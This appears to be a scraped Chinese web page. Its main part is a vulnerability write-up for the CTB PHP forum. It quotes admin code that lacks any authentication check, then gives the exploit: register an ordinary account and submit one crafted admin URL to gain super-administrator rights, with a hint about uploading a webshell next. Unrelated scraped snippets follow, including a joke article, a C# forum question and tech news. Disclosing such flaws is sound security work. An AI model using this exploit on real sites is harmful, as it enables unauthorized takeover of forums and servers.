漂亮但不安全的CTB_php基础

>>>Dedicated This Scrap To CaoJing<<< 

涉及版本: 
^^^^^^^ 
目前所有版本(现在1.3Alpha为最高版本) 

描述: 
^^^^^^ 
CTB是一款由实易数码<11cn.org>;开发和维护的源代码开放的PHP论坛。由于其后台管理文件验证存在缺陷,可能导致非法用户直接添加论坛超级管理员,进而威胁论坛或服务器安全。 

具体: 
^^^^ 
CTB书写非常规范,代码井然有序,赏心悦目,的确是优美的程序;特别是其功能模块,着实让小弟学习了一把。但安全方面却令人堪忧: 

试看如下代码: 

/admin/main.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 //获取get变量 
   if( is_array($_GET) ) { 
      foreach($_GET as $k=>$v) { 
           if( is_array( $_GET[$k]) ) { 
               foreach($_GET[$k] as $k2=>$v2) { 
                   $return[$k][$k2] = $v2; 
               } 
           } else { 
               $return[$k] = $v; 
           } 
       } 

... 
$mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod']; 
   if (!file_exists($mod.".php" { 
       $mod = "mainright"; 
   } 
   require_once ($mod.".php"; 
   //----------------------------------------------------------------------------- 

   //初始化类变量 
   $ctb = new Module; 
   $ctb->set = $set; 
   $ctb->tplPath = "./templates"; 
   $ctb->input = $return; 
   $ctb->sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION; 
   $ctb->execute(); 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

这里没有任何验证,我们看看添加管理员的文件: 

/admin/systemuser.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
class Module extends CommonClass 
//系统管理模块子类 

   function execute() { 
       switch($this->input['action']) { 
... 
case 'addSystemUser': 
               $this->addSystemUser(); 
               break; 
... 
    }       
   } 

function addSystemUser() 

   //输入数据简单格式化 
   $this->inputCheck("main.php?mod=systemuser&action=showSystemUser"; 
   //执行添加操作 
        $this->file = "../".$this->set[dataPath]."/users/list.php"; 
   $systemLine = $this->select(4, $this->input['systemUserName']); 
.... 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

依然没有验证,一路顺利啊! 

利用方法: 
^^^^^^^ 
先注册一个用户: 

登陆ID:  cat 
用户名 :   dog 
密码:      ilikecat 
重复密码:  ilikecat 
信箱:      cat@dog.com 

接着提交如下URL: 

http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

哈哈,你现在已经是超级管理员了,不相信?提交如下URL后台登陆: 

http://www.psych.com/ctb/admin/main.php?mod=login 

管理名称:  cat 
管理密码:  ilikecat 

咦...还真成功了! 

你现在是不是想更改后台上传文件类型,然后upload webshell?哼,被我猜到了吧... 

后记:另外发现CTB代码注释有些扎眼的错别字,大煞风景,希望可以一起修正。

时间: 2024-09-20 00:00:39

漂亮但不安全的CTB_php基础的相关文章

去女生家修电脑经典战术指导

本部门近期做了一项普查,结果显示:女生普遍有叫男生上门修电脑的经历,男生普遍有被女生叫上门修电脑的经历.这类经历普遍发生在未婚阶段,已婚后需要修电脑或者被修电脑的几率几乎为零.为了弄明白这一问题,我们BI就此展开了一项专题研究. 研究经过: 1)女生为何叫未婚男生上门修电脑?电脑是主动坏的,还是被动坏的?是否能修好,是主动修好还是故意修不好?白天修还是晚上修?室内修还是室外修?等等.这些加在一起就产生很多不确定因素.修电脑这件事本身不具备属性,但其背后的动机是值得揣摩的.因此我们大胆猜想,建立假

这个控件是C#的什么控件

问题描述 怎么设置那个图案?是啥控件?谢谢. 解决方案 解决方案二:窗体程序??解决方案三:引用1楼duanzi_peng的回复: 窗体程序?? 是的.解决方案四:Panel套PictureBox解决方案五:弄一个图片不久完了解决方案六:引用2楼lvzhenwan9的回复: Quote: 引用1楼duanzi_peng的回复: 窗体程序?? 是的. 看不出来这个什么控件.貌似没有解决方案七:这是图片整的.用PictureBox加那种都是点的图片,解决方案八:不就是个PictureBox么?解决方

58断臂前行分类网站恐陷集体崩盘

说在前面的话:"但这次58同城的融资组成,很难让人觉得正常,更多的是让人觉得这是CEO本人的一次赌博." 如果你和我一样也稍微关注一些IT新闻的话,过去72小时内TOP10新闻一定落不了如下3条:1.中国电商唯品会上周正式登陆美国纽交所,不仅发行价缩水23%,首日更是直接破发:2.中国分类信息网站巨头赶集网陷入倒闭传言,CEO杨浩涌少有地主动出面辟谣:3.另一分类信息网站巨头58同城也深陷崩盘传闻,盛传的D轮融资结构组成引人遐想. 这三个新闻从表面上看似乎无任何关联,甚至很多人根本搞不

环球企业家:UCWEB的远大前程

UCWEB CEO俞永福 好消息:它已占据中国移动互联网入口的最有利位置:坏消息:它仍未摆脱"另一个网景"的陷阱 "有先发优势的网景(Netscape)最终失败了,你们如何保证不成为下一个网景?" 这个问题已经纠缠了手机浏览器UCWEB的团队(优视科技)整整5年,几乎每次与投资者谈融资,对方都会这样问."有阵子被问着问着,自己都心虚了",UCWEB创始人之一梁捷对<环球企业家>笑言. 粗看上去,网景与UCWEB确有诸多相近之处: 它们

58断臂前行 分类网站恐陷集体崩盘

   说在前面的话:"但这次58同城的融资组成,很难让人觉得正常,更多的是让人觉得这是CEO本人的一次赌博."      如果你和我一样也稍微关注一些IT新闻的话,过去72小时内TOP10新闻一定落不了如下3条:   1.中国电商唯品会上周正式登陆美国纽交所,不仅发行价缩水23%,首日更是直接破发:    2.中国分类信息网站巨头赶集网陷入倒闭传言,CEO杨浩涌少有地主动出面辟谣:    3.另一分类信息网站巨头58同城也深陷崩盘传闻,盛传的D轮融资结构组成引人遐想.    这三个新闻

一步步打造漂亮的新闻列表(无刷新分页、内容预览)第一步_基础应用

没有分页.这样如果数据量很大时,情况就变得十分糟糕,往往打开一个网页就需要很长的时候,大大的降低了的用户的体验效果. 而分页的话也是很有讲究的,不同的数据库往往对应着不同的分页方式.这里不做讨论.下面我们仅以简单的access作为数据库来进行新闻列表的无刷新分页.无刷新意味着要使用ajax技术,当然无刷新不仅仅是ajax,还有其他的方法做到无刷新,如将所有的数据一次性读取出来,然后根据页数的不同显示不同的内容,这个仅仅靠JavaScript就可以实现了,但是这个无疑是饮鸩止渴,和上面没有分页效果

PhotoShop基础教程:打造漂亮的美女糖水片效果

原图 效果 第一步:用PS打开原图,先图像调成自动色阶,然后复制一层图层1,转入Portraiture滤镜进行磨皮(参数如图),处理完以后再用noisewarepro滤镜进行锐化(参数如图),处理完之后记得建立图层蒙版,在图层蒙版上把一些感觉模糊的地方擦掉. Portraiture参数: noisewarepro参数: 这个滤境用过,头发那里需要蒙板来擦出.. 第二步:盖印图层得到图层2,图像-模式-转LAB,进入通道,选择通道A,全选,复制,然后点LAB通道粘贴,回到图层,图层模式选择选择"强

用xslt+css让RSS显示的跟网页一样漂亮_XML基础

最近开始研究 XML+XSLT+CSS 构造网页..又拿自己的站的一部分当成实验品.. 因为我把这个站的实验室的东西扔在别一个服务器上..可又懒得再做个首页,,,就同步了这边的 RSS.当首页 可没关联的样式的XML怎样看怎样不喜欢.... 直接关联 CSS 能把 XML 能变成像样一点..虽然不是最终目的..可还是要学习一下..因为不是所有的浏览器都支持XSLT  我能用到的浏览器好像都能认识关联的 CSS ~可惜单单 CSS 能做的事太少了. 还是xslt好.. 写直接用于 XML 的 CS

视觉设计分析:短时间做出漂亮的Banner

网页制作Webjx文章简介:视觉设计分析:短时间做出漂亮的Banner. ⊙前言 门户网站因为市场竞争日益激烈,各大门户竞相以谁家资讯更多.领域更广.内容更深等等策略来留住用户的芳心,由此近年来门户网站被称为网络世界的"百货商场"或"网络超市".即然是个百货商场或超市,那么商场与商场之间的竞争又能通过什么方式使自己处于优势呢?除了扩大自己的规模.增加商品的种类.优惠折扣以外还可以通过发挥我商场的独特产品或特色服务(例如针对不同用户群体的特色店面,对重要节日商场做一些